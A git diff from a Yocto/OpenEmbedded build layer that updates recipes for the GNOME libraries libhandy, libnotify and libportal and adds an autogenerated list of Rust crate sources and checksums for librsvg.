diff --git a/meta/recipes-gnome/libhandy/libhandy_1.8.3.bb b/meta/recipes-gnome/libhandy/libhandy_1.8.3.bb
new file mode 100644
index 0000000000..7f5f02a7ba
--- /dev/null
+++ b/meta/recipes-gnome/libhandy/libhandy_1.8.3.bb
@@ -0,0 +1,27 @@
+SUMMARY = "A library full of GTK+ widgets for mobile phones"
+DESCRIPTION = "Library with GTK widgets for mobile phones. Libhandy provides \
+GTK widgets and GObjects to ease developing applications for mobile phones. \
+It was developed by Purism (and used by several official GNOME projects) \
+to extend Gtk by providing mobile-friendly widgets and make the creation of \
+responsive apps easier."
+HOMEPAGE = "https://gitlab.gnome.org/GNOME/libhandy"
+BUGTRACKER = "https://gitlab.gnome.org/GNOME/libhandy/-/issues"
+LICENSE = "LGPL-2.1-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
+
+SRC_URI = "git://gitlab.gnome.org/GNOME/libhandy.git;protocol=https;branch=libhandy-1-8"
+SRCREV = "9b0071408ce86a3ef843806fddd723a85f6f2416"
+S = "${WORKDIR}/git"
+
+UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+\.(\d*[02468])+(\.\d+))"
+GIR_MESON_ENABLE_FLAG = 'enabled'
+GIR_MESON_DISABLE_FLAG = 'disabled'
+
+inherit meson gobject-introspection vala gettext gi-docgen features_check pkgconfig
+
+ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
+
+DEPENDS += "gtk+3"
+
+PACKAGES =+ "${PN}-examples"
+FILES:${PN}-examples = "${bindir}"
diff --git a/meta/recipes-gnome/libhandy/libhandy_git.bb b/meta/recipes-gnome/libhandy/libhandy_git.bb
deleted file mode 100644
index 9f74014640..0000000000
--- a/meta/recipes-gnome/libhandy/libhandy_git.bb
+++ /dev/null
@@ -1,21 +0,0 @@
-SUMMARY = "A library full of GTK+ widgets for mobile phones"
-LICENSE = "LGPLv2.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
-
-SRC_URI = "git://gitlab.gnome.org/GNOME/${BPN}.git;protocol=https"
-SRCREV = "7a193d7692c9c76a1a94f17c4d30b585f77d177c"
-S = "${WORKDIR}/git"
-PV = "0.0.13"
-
-GIR_MESON_ENABLE_FLAG = 'enabled'
-GIR_MESON_DISABLE_FLAG = 'disabled'
-GTKDOC_MESON_OPTION = 'gtk_doc'
-
-inherit meson gobject-introspection vala gettext gtk-doc features_check
-
-ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
-
-DEPENDS += "gtk+3"
-
-PACKAGES =+ "${PN}-examples"
-FILES_${PN}-examples = "${bindir}"
diff --git a/meta/recipes-gnome/libnotify/libnotify_0.7.9.bb b/meta/recipes-gnome/libnotify/libnotify_0.7.9.bb
deleted file mode 100644
index 29a28272e1..0000000000
--- a/meta/recipes-gnome/libnotify/libnotify_0.7.9.bb
+++ /dev/null
@@ -1,28 +0,0 @@
-SUMMARY = "Library for sending desktop notifications to a notification daemon"
-HOMEPAGE = "https://gitlab.gnome.org/GNOME/libnotify"
-BUGTRACKER = "https://gitlab.gnome.org/GNOME/libnotify/issues"
-SECTION = "libs"
-LICENSE = "LGPLv2.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=7fbc338309ac38fefcd64b04bb903e34"
-
-DEPENDS = "dbus gtk+3 glib-2.0"
-
-GNOMEBASEBUILDCLASS = "meson"
-GTKDOC_MESON_OPTION = "gtk_doc"
-GIR_MESON_ENABLE_FLAG = "enabled"
-GIR_MESON_DISABLE_FLAG = "disabled"
-inherit gnomebase gtk-doc features_check gobject-introspection
-# depends on gtk+3
-ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
-
-SRC_URI[archive.md5sum] = "ccd9c53364174cc8d13e18a1988faa76"
-SRC_URI[archive.sha256sum] = "66c0517ed16df7af258e83208faaf5069727dfd66995c4bbc51c16954d674761"
-
-EXTRA_OEMESON = "-Dman=false"
-
-# there were times, we had two versions of libnotify (oe-core libnotify:0.6.x /
-# meta-gnome libnotify3: 0.7.x)
-PROVIDES += "libnotify3"
-RPROVIDES_${PN} += "libnotify3"
-RCONFLICTS_${PN} += "libnotify3"
-RREPLACES_${PN} += "libnotify3"
diff --git a/meta/recipes-gnome/libnotify/libnotify_0.8.3.bb b/meta/recipes-gnome/libnotify/libnotify_0.8.3.bb
new file mode 100644
index 0000000000..1e606b84b2
--- /dev/null
+++ b/meta/recipes-gnome/libnotify/libnotify_0.8.3.bb
@@ -0,0 +1,35 @@
+SUMMARY = "Library for sending desktop notifications to a notification daemon"
+DESCRIPTION = "It sends desktop notifications to a notification daemon, as defined \
+in the Desktop Notifications spec. These notifications can be used to inform \
+the user about an event or display some form of information without getting \
+in the user's way."
+HOMEPAGE = "https://gitlab.gnome.org/GNOME/libnotify"
+BUGTRACKER = "https://gitlab.gnome.org/GNOME/libnotify/issues"
+SECTION = "libs"
+LICENSE = "LGPL-2.1-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=7fbc338309ac38fefcd64b04bb903e34"
+
+DEPENDS = "glib-2.0 glib-2.0-native gdk-pixbuf"
+
+PACKAGECONFIG ?= ""
+PACKAGECONFIG[tests] = "-Dtests=true,-Dtests=false,gtk+3"
+
+GIR_MESON_ENABLE_FLAG = "enabled"
+GIR_MESON_DISABLE_FLAG = "disabled"
+inherit gnomebase gi-docgen features_check gobject-introspection
+# depends on gtk+3 if tests are enabled
+ANY_OF_DISTRO_FEATURES = "${@bb.utils.contains('PACKAGECONFIG', 'tests', '${GTK3DISTROFEATURES}', '', d)}"
+
+SRC_URI[archive.sha256sum] = "ee8f3ef946156ad3406fdf45feedbdcd932dbd211ab4f16f75eba4f36fb2f6c0"
+
+EXTRA_OEMESON = "-Dman=false"
+
+# there were times, we had two versions of libnotify (oe-core libnotify:0.6.x /
+# meta-gnome libnotify3: 0.7.x)
+PROVIDES += "libnotify3"
+RPROVIDES:${PN} += "libnotify3"
+RCONFLICTS:${PN} += "libnotify3"
+RREPLACES:${PN} += "libnotify3"
+
+# -7381 is specific to the NodeJS bindings
+CVE_STATUS[CVE-2013-7381] = "cpe-incorrect: The issue is specific to the NodeJS bindings"
diff --git a/meta/recipes-gnome/libportal/libportal_0.7.1.bb b/meta/recipes-gnome/libportal/libportal_0.7.1.bb
new file mode 100644
index 0000000000..22e45559c9
--- /dev/null
+++ b/meta/recipes-gnome/libportal/libportal_0.7.1.bb
@@ -0,0 +1,20 @@
+SUMMARY = "libportal provides GIO-style async APIs for most Flatpak portals."
+DESCRIPTION = "It provides simple asynchronous wrappers for most Flatpak portals \
+with a familiar GObject API along side the D-Bus API"
+HOMEPAGE = "https://github.com/flatpak/libportal"
+BUGTRACKER = "https://github.com/flatpak/libportal/issues"
+LICENSE = "LGPL-3.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=3000208d539ec061b899bce1d9ce9404"
+
+SRC_URI = "git://github.com/flatpak/${BPN}.git;protocol=https;branch=main"
+SRCREV = "e9ed3a50cdde321eaf42361212480a66eb94a57a"
+S = "${WORKDIR}/git"
+
+inherit meson gi-docgen gobject-introspection vala features_check pkgconfig
+GIDOCGEN_MESON_OPTION = 'docs'
+
+ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
+
+DEPENDS += "glib-2.0 glib-2.0-native gtk+3 ${@bb.utils.contains('DISTRO_FEATURES', 'opengl', 'gtk4', '', d)}"
+
+EXTRA_OEMESON = "${@bb.utils.contains('GI_DATA_ENABLED', 'True', '-Dvapi=true', '-Dvapi=false', d)} -Dbackend-qt5=disabled"
diff --git a/meta/recipes-gnome/librsvg/librsvg-crates.inc b/meta/recipes-gnome/librsvg/librsvg-crates.inc
new file mode 100644
index 0000000000..94eba30948
--- /dev/null
+++ b/meta/recipes-gnome/librsvg/librsvg-crates.inc
@@ -0,0 +1,546 @@
+# Autogenerated with 'bitbake -c update_crates librsvg'
+
+# from Cargo.lock
+SRC_URI += " \
+ crate://crates.io/adler/1.0.2 \
+ crate://crates.io/aho-corasick/1.1.2 \
+ crate://crates.io/android-tzdata/0.1.1 \
+ crate://crates.io/android_system_properties/0.1.5 \
+ crate://crates.io/anes/0.1.6 \
+ crate://crates.io/anstream/0.6.5 \
+ crate://crates.io/anstyle/1.0.4 \
+ crate://crates.io/anstyle-parse/0.2.3 \
+ crate://crates.io/anstyle-query/1.0.2 \
+ crate://crates.io/anstyle-wincon/3.0.2 \
+ crate://crates.io/anyhow/1.0.75 \
+ crate://crates.io/approx/0.5.1 \
+ crate://crates.io/assert_cmd/2.0.12 \
+ crate://crates.io/autocfg/1.1.0 \
+ crate://crates.io/bit-set/0.5.3 \
+ crate://crates.io/bit-vec/0.6.3 \
+ crate://crates.io/bitflags/1.3.2 \
+ crate://crates.io/bitflags/2.4.1 \
+ crate://crates.io/block/0.1.6 \
+ crate://crates.io/bstr/1.8.0 \
+ crate://crates.io/bumpalo/3.14.0 \
+ crate://crates.io/bytemuck/1.14.0 \
+ crate://crates.io/byteorder/1.5.0 \
+ crate://crates.io/cairo-rs/0.18.3 \
+ crate://crates.io/cairo-sys-rs/0.18.2 \
+ crate://crates.io/cast/0.3.0 \
+ crate://crates.io/cc/1.0.83 \
+ crate://crates.io/cfg-expr/0.15.5 \
+ crate://crates.io/cfg-if/1.0.0 \
+ crate://crates.io/chrono/0.4.31 \
+ crate://crates.io/ciborium/0.2.1 \
+ crate://crates.io/ciborium-io/0.2.1 \
+ crate://crates.io/ciborium-ll/0.2.1 \
+ crate://crates.io/clap/4.4.11 \
+ crate://crates.io/clap_builder/4.4.11 \
+ crate://crates.io/clap_complete/4.4.4 \
+ crate://crates.io/clap_derive/4.4.7 \
+ crate://crates.io/clap_lex/0.6.0 \
+ crate://crates.io/colorchoice/1.0.0 \
+ crate://crates.io/const-cstr/0.3.0 \
+ crate://crates.io/core-foundation-sys/0.8.6 \
+ crate://crates.io/crc32fast/1.3.2 \
+ crate://crates.io/criterion/0.5.1 \
+ crate://crates.io/criterion-plot/0.5.0 \
+ crate://crates.io/crossbeam-deque/0.8.4 \
+ crate://crates.io/crossbeam-epoch/0.9.16 \
+ crate://crates.io/crossbeam-utils/0.8.17 \
+ crate://crates.io/cssparser/0.31.2 \
+ crate://crates.io/cssparser-macros/0.6.1 \
+ crate://crates.io/cstr/0.2.11 \
+ crate://crates.io/data-url/0.3.1 \
+ crate://crates.io/deranged/0.3.10 \
+ crate://crates.io/derive_more/0.99.17 \
+ crate://crates.io/difflib/0.4.0 \
+ crate://crates.io/dlib/0.5.2 \
+ crate://crates.io/doc-comment/0.3.3 \
+ crate://crates.io/dtoa/1.0.9 \
+ crate://crates.io/dtoa-short/0.3.4 \
+ crate://crates.io/either/1.9.0 \
+ crate://crates.io/encoding_rs/0.8.33 \
+ crate://crates.io/equivalent/1.0.1 \
+ crate://crates.io/errno/0.3.8 \
+ crate://crates.io/fastrand/2.0.1 \
+ crate://crates.io/fdeflate/0.3.1 \
+ crate://crates.io/flate2/1.0.28 \
+ crate://crates.io/float-cmp/0.9.0 \
+ crate://crates.io/fnv/1.0.7 \
+ crate://crates.io/form_urlencoded/1.2.1 \
+ crate://crates.io/futf/0.1.5 \
+ crate://crates.io/futures-channel/0.3.29 \
+ crate://crates.io/futures-core/0.3.29 \
+ crate://crates.io/futures-executor/0.3.29 \
+ crate://crates.io/futures-io/0.3.29 \
+ crate://crates.io/futures-macro/0.3.29 \
+ crate://crates.io/futures-task/0.3.29 \
+ crate://crates.io/futures-util/0.3.29 \
+ crate://crates.io/fxhash/0.2.1 \
+ crate://crates.io/gdk-pixbuf/0.18.3 \
+ crate://crates.io/gdk-pixbuf-sys/0.18.0 \
+ crate://crates.io/getrandom/0.2.11 \
+ crate://crates.io/gio/0.18.4 \
+ crate://crates.io/gio-sys/0.18.1 \
+ crate://crates.io/glib/0.18.4 \
+ crate://crates.io/glib-macros/0.18.3 \
+ crate://crates.io/glib-sys/0.18.1 \
+ crate://crates.io/gobject-sys/0.18.0 \
+ crate://crates.io/half/1.8.2 \
+ crate://crates.io/hashbrown/0.14.3 \
+ crate://crates.io/heck/0.4.1 \
+ crate://crates.io/hermit-abi/0.3.3 \
+ crate://crates.io/iana-time-zone/0.1.58 \
+ crate://crates.io/iana-time-zone-haiku/0.1.2 \
+ crate://crates.io/idna/0.5.0 \
+ crate://crates.io/indexmap/2.1.0 \
+ crate://crates.io/is-terminal/0.4.9 \
+ crate://crates.io/itertools/0.10.5 \
+ crate://crates.io/itertools/0.11.0 \
+ crate://crates.io/itoa/1.0.10 \
+ crate://crates.io/js-sys/0.3.66 \
+ crate://crates.io/language-tags/0.3.2 \
+ crate://crates.io/lazy_static/1.4.0 \
+ crate://crates.io/libc/0.2.151 \
+ crate://crates.io/libloading/0.8.1 \
+ crate://crates.io/libm/0.2.8 \
+ crate://crates.io/linked-hash-map/0.5.6 \
+ crate://crates.io/linux-raw-sys/0.4.12 \
+ crate://crates.io/locale_config/0.3.0 \
+ crate://crates.io/lock_api/0.4.11 \
+ crate://crates.io/log/0.4.20 \
+ crate://crates.io/lopdf/0.31.0 \
+ crate://crates.io/mac/0.1.1 \
+ crate://crates.io/malloc_buf/0.0.6 \
+ crate://crates.io/markup5ever/0.11.0 \
+ crate://crates.io/matches/0.1.10 \
+ crate://crates.io/matrixmultiply/0.3.8 \
+ crate://crates.io/md5/0.7.0 \
+ crate://crates.io/memchr/2.6.4 \
+ crate://crates.io/memoffset/0.9.0 \
+ crate://crates.io/minimal-lexical/0.2.1 \
+ crate://crates.io/miniz_oxide/0.7.1 \
+ crate://crates.io/nalgebra/0.32.3 \
+ crate://crates.io/nalgebra-macros/0.2.1 \
+ crate://crates.io/new_debug_unreachable/1.0.4 \
+ crate://crates.io/nom/7.1.3 \
+ crate://crates.io/normalize-line-endings/0.3.0 \
+ crate://crates.io/num-complex/0.4.4 \
+ crate://crates.io/num-integer/0.1.45 \
+ crate://crates.io/num-rational/0.4.1 \
+ crate://crates.io/num-traits/0.2.17 \
+ crate://crates.io/objc/0.2.7 \
+ crate://crates.io/objc-foundation/0.1.1 \
+ crate://crates.io/objc_id/0.1.1 \
+ crate://crates.io/once_cell/1.19.0 \
+ crate://crates.io/oorandom/11.1.3 \
+ crate://crates.io/pango/0.18.3 \
+ crate://crates.io/pango-sys/0.18.0 \
+ crate://crates.io/pangocairo/0.18.0 \
+ crate://crates.io/pangocairo-sys/0.18.0 \
+ crate://crates.io/parking_lot/0.12.1 \
+ crate://crates.io/parking_lot_core/0.9.9 \
+ crate://crates.io/paste/1.0.14 \
+ crate://crates.io/percent-encoding/2.3.1 \
+ crate://crates.io/phf/0.10.1 \
+ crate://crates.io/phf/0.11.2 \
+ crate://crates.io/phf_codegen/0.10.0 \
+ crate://crates.io/phf_generator/0.10.0 \
+ crate://crates.io/phf_generator/0.11.2 \
+ crate://crates.io/phf_macros/0.11.2 \
+ crate://crates.io/phf_shared/0.10.0 \
+ crate://crates.io/phf_shared/0.11.2 \
+ crate://crates.io/pin-project-lite/0.2.13 \
+ crate://crates.io/pin-utils/0.1.0 \
+ crate://crates.io/pkg-config/0.3.27 \
+ crate://crates.io/plotters/0.3.5 \
+ crate://crates.io/plotters-backend/0.3.5 \
+ crate://crates.io/plotters-svg/0.3.5 \
+ crate://crates.io/png/0.17.10 \
+ crate://crates.io/powerfmt/0.2.0 \
+ crate://crates.io/ppv-lite86/0.2.17 \
+ crate://crates.io/precomputed-hash/0.1.1 \
+ crate://crates.io/predicates/3.0.4 \
+ crate://crates.io/predicates-core/1.0.6 \
+ crate://crates.io/predicates-tree/1.0.9 \
+ crate://crates.io/proc-macro-crate/2.0.1 \
+ crate://crates.io/proc-macro-error/1.0.4 \
+ crate://crates.io/proc-macro-error-attr/1.0.4 \
+ crate://crates.io/proc-macro2/1.0.70 \
+ crate://crates.io/proptest/1.4.0 \
+ crate://crates.io/quick-error/1.2.3 \
+ crate://crates.io/quick-error/2.0.1 \
+ crate://crates.io/quote/1.0.33 \
+ crate://crates.io/rand/0.8.5 \
+ crate://crates.io/rand_chacha/0.3.1 \
+ crate://crates.io/rand_core/0.6.4 \
+ crate://crates.io/rand_xorshift/0.3.0 \
+ crate://crates.io/rawpointer/0.2.1 \
+ crate://crates.io/rayon/1.8.0 \
+ crate://crates.io/rayon-core/1.12.0 \
+ crate://crates.io/rctree/0.5.0 \
+ crate://crates.io/redox_syscall/0.4.1 \
+ crate://crates.io/regex/1.10.2 \
+ crate://crates.io/regex-automata/0.4.3 \
+ crate://crates.io/regex-syntax/0.8.2 \
+ crate://crates.io/rgb/0.8.37 \
+ crate://crates.io/rustix/0.38.28 \
+ crate://crates.io/rusty-fork/0.3.0 \
+ crate://crates.io/ryu/1.0.16 \
+ crate://crates.io/safe_arch/0.7.1 \
+ crate://crates.io/same-file/1.0.6 \
+ crate://crates.io/scopeguard/1.2.0 \
+ crate://crates.io/selectors/0.25.0 \
+ crate://crates.io/serde/1.0.193 \
+ crate://crates.io/serde_derive/1.0.193 \
+ crate://crates.io/serde_json/1.0.108 \
+ crate://crates.io/serde_spanned/0.6.4 \
+ crate://crates.io/servo_arc/0.3.0 \
+ crate://crates.io/simba/0.8.1 \
+ crate://crates.io/simd-adler32/0.3.7 \
+ crate://crates.io/siphasher/0.3.11 \
+ crate://crates.io/slab/0.4.9 \
+ crate://crates.io/smallvec/1.11.2 \
+ crate://crates.io/stable_deref_trait/1.2.0 \
+ crate://crates.io/string_cache/0.8.7 \
+ crate://crates.io/string_cache_codegen/0.5.2 \
+ crate://crates.io/strsim/0.10.0 \
+ crate://crates.io/syn/1.0.109 \
+ crate://crates.io/syn/2.0.41 \
+ crate://crates.io/system-deps/6.2.0 \
+ crate://crates.io/target-lexicon/0.12.12 \
+ crate://crates.io/tempfile/3.8.1 \
+ crate://crates.io/tendril/0.4.3 \
+ crate://crates.io/termtree/0.4.1 \
+ crate://crates.io/thiserror/1.0.50 \
+ crate://crates.io/thiserror-impl/1.0.50 \
+ crate://crates.io/time/0.3.30 \
+ crate://crates.io/time-core/0.1.2 \
+ crate://crates.io/time-macros/0.2.15 \
+ crate://crates.io/tinytemplate/1.2.1 \
+ crate://crates.io/tinyvec/1.6.0 \
+ crate://crates.io/tinyvec_macros/0.1.1 \
+ crate://crates.io/toml/0.8.2 \
+ crate://crates.io/toml_datetime/0.6.3 \
+ crate://crates.io/toml_edit/0.20.2 \
+ crate://crates.io/typenum/1.17.0 \
+ crate://crates.io/unarray/0.1.4 \
+ crate://crates.io/unicode-bidi/0.3.14 \
+ crate://crates.io/unicode-ident/1.0.12 \
+ crate://crates.io/unicode-normalization/0.1.22 \
+ crate://crates.io/url/2.5.0 \
+ crate://crates.io/utf-8/0.7.6 \
+ crate://crates.io/utf8parse/0.2.1 \
+ crate://crates.io/version-compare/0.1.1 \
+ crate://crates.io/version_check/0.9.4 \
+ crate://crates.io/wait-timeout/0.2.0 \
+ crate://crates.io/walkdir/2.4.0 \
+ crate://crates.io/wasi/0.11.0+wasi-snapshot-preview1 \
+ crate://crates.io/wasm-bindgen/0.2.89 \
+ crate://crates.io/wasm-bindgen-backend/0.2.89 \
+ crate://crates.io/wasm-bindgen-macro/0.2.89 \
+ crate://crates.io/wasm-bindgen-macro-support/0.2.89 \
+ crate://crates.io/wasm-bindgen-shared/0.2.89 \
+ crate://crates.io/web-sys/0.3.66 \
+ crate://crates.io/weezl/0.1.7 \
+ crate://crates.io/wide/0.7.13 \
+ crate://crates.io/winapi/0.3.9 \
+ crate://crates.io/winapi-i686-pc-windows-gnu/0.4.0 \
+ crate://crates.io/winapi-util/0.1.6 \
+ crate://crates.io/winapi-x86_64-pc-windows-gnu/0.4.0 \
+ crate://crates.io/windows-core/0.51.1 \
+ crate://crates.io/windows-sys/0.48.0 \
+ crate://crates.io/windows-sys/0.52.0 \
+ crate://crates.io/windows-targets/0.48.5 \
+ crate://crates.io/windows-targets/0.52.0 \
+ crate://crates.io/windows_aarch64_gnullvm/0.48.5 \
+ crate://crates.io/windows_aarch64_gnullvm/0.52.0 \
+ crate://crates.io/windows_aarch64_msvc/0.48.5 \
+ crate://crates.io/windows_aarch64_msvc/0.52.0 \
+ crate://crates.io/windows_i686_gnu/0.48.5 \
+ crate://crates.io/windows_i686_gnu/0.52.0 \
+ crate://crates.io/windows_i686_msvc/0.48.5 \
+ crate://crates.io/windows_i686_msvc/0.52.0 \
+ crate://crates.io/windows_x86_64_gnu/0.48.5 \
+ crate://crates.io/windows_x86_64_gnu/0.52.0 \
+ crate://crates.io/windows_x86_64_gnullvm/0.48.5 \
+ crate://crates.io/windows_x86_64_gnullvm/0.52.0 \
+ crate://crates.io/windows_x86_64_msvc/0.48.5 \
+ crate://crates.io/windows_x86_64_msvc/0.52.0 \
+ crate://crates.io/winnow/0.5.28 \
+ crate://crates.io/xml5ever/0.17.0 \
+ crate://crates.io/yeslogic-fontconfig-sys/4.0.1 \
+"
+
+SRC_URI[adler-1.0.2.sha256sum] = "f26201604c87b1e01bd3d98f8d5d9a8fcbb815e8cedb41ffccbeb4bf593a35fe"
+SRC_URI[aho-corasick-1.1.2.sha256sum] = "b2969dcb958b36655471fc61f7e416fa76033bdd4bfed0678d8fee1e2d07a1f0"
+SRC_URI[android-tzdata-0.1.1.sha256sum] = "e999941b234f3131b00bc13c22d06e8c5ff726d1b6318ac7eb276997bbb4fef0"
+SRC_URI[android_system_properties-0.1.5.sha256sum] = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311"
+SRC_URI[anes-0.1.6.sha256sum] = "4b46cbb362ab8752921c97e041f5e366ee6297bd428a31275b9fcf1e380f7299"
+SRC_URI[anstream-0.6.5.sha256sum] = "d664a92ecae85fd0a7392615844904654d1d5f5514837f471ddef4a057aba1b6"
+SRC_URI[anstyle-1.0.4.sha256sum] = "7079075b41f533b8c61d2a4d073c4676e1f8b249ff94a393b0595db304e0dd87"
+SRC_URI[anstyle-parse-0.2.3.sha256sum] = "c75ac65da39e5fe5ab759307499ddad880d724eed2f6ce5b5e8a26f4f387928c"
+SRC_URI[anstyle-query-1.0.2.sha256sum] = "e28923312444cdd728e4738b3f9c9cac739500909bb3d3c94b43551b16517648"
+SRC_URI[anstyle-wincon-3.0.2.sha256sum] = "1cd54b81ec8d6180e24654d0b371ad22fc3dd083b6ff8ba325b72e00c87660a7"
+SRC_URI[anyhow-1.0.75.sha256sum] = "a4668cab20f66d8d020e1fbc0ebe47217433c1b6c8f2040faf858554e394ace6"
+SRC_URI[approx-0.5.1.sha256sum] = "cab112f0a86d568ea0e627cc1d6be74a1e9cd55214684db5561995f6dad897c6"
+SRC_URI[assert_cmd-2.0.12.sha256sum] = "88903cb14723e4d4003335bb7f8a14f27691649105346a0f0957466c096adfe6"
+SRC_URI[autocfg-1.1.0.sha256sum] = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa"
+SRC_URI[bit-set-0.5.3.sha256sum] = "0700ddab506f33b20a03b13996eccd309a48e5ff77d0d95926aa0210fb4e95f1"
+SRC_URI[bit-vec-0.6.3.sha256sum] = "349f9b6a179ed607305526ca489b34ad0a41aed5f7980fa90eb03160b69598fb"
+SRC_URI[bitflags-1.3.2.sha256sum] = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a"
+SRC_URI[bitflags-2.4.1.sha256sum] = "327762f6e5a765692301e5bb513e0d9fef63be86bbc14528052b1cd3e6f03e07"
+SRC_URI[block-0.1.6.sha256sum] = "0d8c1fef690941d3e7788d328517591fecc684c084084702d6ff1641e993699a"
+SRC_URI[bstr-1.8.0.sha256sum] = "542f33a8835a0884b006a0c3df3dadd99c0c3f296ed26c2fdc8028e01ad6230c"
+SRC_URI[bumpalo-3.14.0.sha256sum] = "7f30e7476521f6f8af1a1c4c0b8cc94f0bee37d91763d0ca2665f299b6cd8aec"
+SRC_URI[bytemuck-1.14.0.sha256sum] = "374d28ec25809ee0e23827c2ab573d729e293f281dfe393500e7ad618baa61c6"
+SRC_URI[byteorder-1.5.0.sha256sum] = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b"
+SRC_URI[cairo-rs-0.18.3.sha256sum] = "f33613627f0dea6a731b0605101fad59ba4f193a52c96c4687728d822605a8a1"
+SRC_URI[cairo-sys-rs-0.18.2.sha256sum] = "685c9fa8e590b8b3d678873528d83411db17242a73fccaed827770ea0fedda51"
+SRC_URI[cast-0.3.0.sha256sum] = "37b2a672a2cb129a2e41c10b1224bb368f9f37a2b16b612598138befd7b37eb5"
+SRC_URI[cc-1.0.83.sha256sum] = "f1174fb0b6ec23863f8b971027804a42614e347eafb0a95bf0b12cdae21fc4d0"
+SRC_URI[cfg-expr-0.15.5.sha256sum] = "03915af431787e6ffdcc74c645077518c6b6e01f80b761e0fbbfa288536311b3"
+SRC_URI[cfg-if-1.0.0.sha256sum] = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
+SRC_URI[chrono-0.4.31.sha256sum] = "7f2c685bad3eb3d45a01354cedb7d5faa66194d1d58ba6e267a8de788f79db38"
+SRC_URI[ciborium-0.2.1.sha256sum] = "effd91f6c78e5a4ace8a5d3c0b6bfaec9e2baaef55f3efc00e45fb2e477ee926"
+SRC_URI[ciborium-io-0.2.1.sha256sum] = "cdf919175532b369853f5d5e20b26b43112613fd6fe7aee757e35f7a44642656"
+SRC_URI[ciborium-ll-0.2.1.sha256sum] = "defaa24ecc093c77630e6c15e17c51f5e187bf35ee514f4e2d67baaa96dae22b"
+SRC_URI[clap-4.4.11.sha256sum] = "bfaff671f6b22ca62406885ece523383b9b64022e341e53e009a62ebc47a45f2"
+SRC_URI[clap_builder-4.4.11.sha256sum] = "a216b506622bb1d316cd51328dce24e07bdff4a6128a47c7e7fad11878d5adbb"
+SRC_URI[clap_complete-4.4.4.sha256sum] = "bffe91f06a11b4b9420f62103854e90867812cd5d01557f853c5ee8e791b12ae"
+SRC_URI[clap_derive-4.4.7.sha256sum] = "cf9804afaaf59a91e75b022a30fb7229a7901f60c755489cc61c9b423b836442"
+SRC_URI[clap_lex-0.6.0.sha256sum] = "702fc72eb24e5a1e48ce58027a675bc24edd52096d5397d4aea7c6dd9eca0bd1"
+SRC_URI[colorchoice-1.0.0.sha256sum] = "acbf1af155f9b9ef647e42cdc158db4b64a1b61f743629225fde6f3e0be2a7c7"
+SRC_URI[const-cstr-0.3.0.sha256sum] = "ed3d0b5ff30645a68f35ece8cea4556ca14ef8a1651455f789a099a0513532a6"
+SRC_URI[core-foundation-sys-0.8.6.sha256sum] = "06ea2b9bc92be3c2baa9334a323ebca2d6f074ff852cd1d7b11064035cd3868f"
+SRC_URI[crc32fast-1.3.2.sha256sum] = "b540bd8bc810d3885c6ea91e2018302f68baba2129ab3e88f32389ee9370880d"
+SRC_URI[criterion-0.5.1.sha256sum] = "f2b12d017a929603d80db1831cd3a24082f8137ce19c69e6447f54f5fc8d692f"
+SRC_URI[criterion-plot-0.5.0.sha256sum] = "6b50826342786a51a89e2da3a28f1c32b06e387201bc2d19791f622c673706b1"
+SRC_URI[crossbeam-deque-0.8.4.sha256sum] = "fca89a0e215bab21874660c67903c5f143333cab1da83d041c7ded6053774751"
+SRC_URI[crossbeam-epoch-0.9.16.sha256sum] = "2d2fe95351b870527a5d09bf563ed3c97c0cffb87cf1c78a591bf48bb218d9aa"
+SRC_URI[crossbeam-utils-0.8.17.sha256sum] = "c06d96137f14f244c37f989d9fff8f95e6c18b918e71f36638f8c49112e4c78f"
+SRC_URI[cssparser-0.31.2.sha256sum] = "5b3df4f93e5fbbe73ec01ec8d3f68bba73107993a5b1e7519273c32db9b0d5be"
+SRC_URI[cssparser-macros-0.6.1.sha256sum] = "13b588ba4ac1a99f7f2964d24b3d896ddc6bf847ee3855dbd4366f058cfcd331"
+SRC_URI[cstr-0.2.11.sha256sum] = "8aa998c33a6d3271e3678950a22134cd7dd27cef86dee1b611b5b14207d1d90b"
+SRC_URI[data-url-0.3.1.sha256sum] = "5c297a1c74b71ae29df00c3e22dd9534821d60eb9af5a0192823fa2acea70c2a"
+SRC_URI[deranged-0.3.10.sha256sum] = "8eb30d70a07a3b04884d2677f06bec33509dc67ca60d92949e5535352d3191dc"
+SRC_URI[derive_more-0.99.17.sha256sum] = "4fb810d30a7c1953f91334de7244731fc3f3c10d7fe163338a35b9f640960321"
+SRC_URI[difflib-0.4.0.sha256sum] = "6184e33543162437515c2e2b48714794e37845ec9851711914eec9d308f6ebe8"
+SRC_URI[dlib-0.5.2.sha256sum] = "330c60081dcc4c72131f8eb70510f1ac07223e5d4163db481a04a0befcffa412"
+SRC_URI[doc-comment-0.3.3.sha256sum] = "fea41bba32d969b513997752735605054bc0dfa92b4c56bf1189f2e174be7a10"
+SRC_URI[dtoa-1.0.9.sha256sum] = "dcbb2bf8e87535c23f7a8a321e364ce21462d0ff10cb6407820e8e96dfff6653"
+SRC_URI[dtoa-short-0.3.4.sha256sum] = "dbaceec3c6e4211c79e7b1800fb9680527106beb2f9c51904a3210c03a448c74"
+SRC_URI[either-1.9.0.sha256sum] = "a26ae43d7bcc3b814de94796a5e736d4029efb0ee900c12e2d54c993ad1a1e07"
+SRC_URI[encoding_rs-0.8.33.sha256sum] = "7268b386296a025e474d5140678f75d6de9493ae55a5d709eeb9dd08149945e1"
+SRC_URI[equivalent-1.0.1.sha256sum] = "5443807d6dff69373d433ab9ef5378ad8df50ca6298caf15de6e52e24aaf54d5"
+SRC_URI[errno-0.3.8.sha256sum] = "a258e46cdc063eb8519c00b9fc845fc47bcfca4130e2f08e88665ceda8474245"
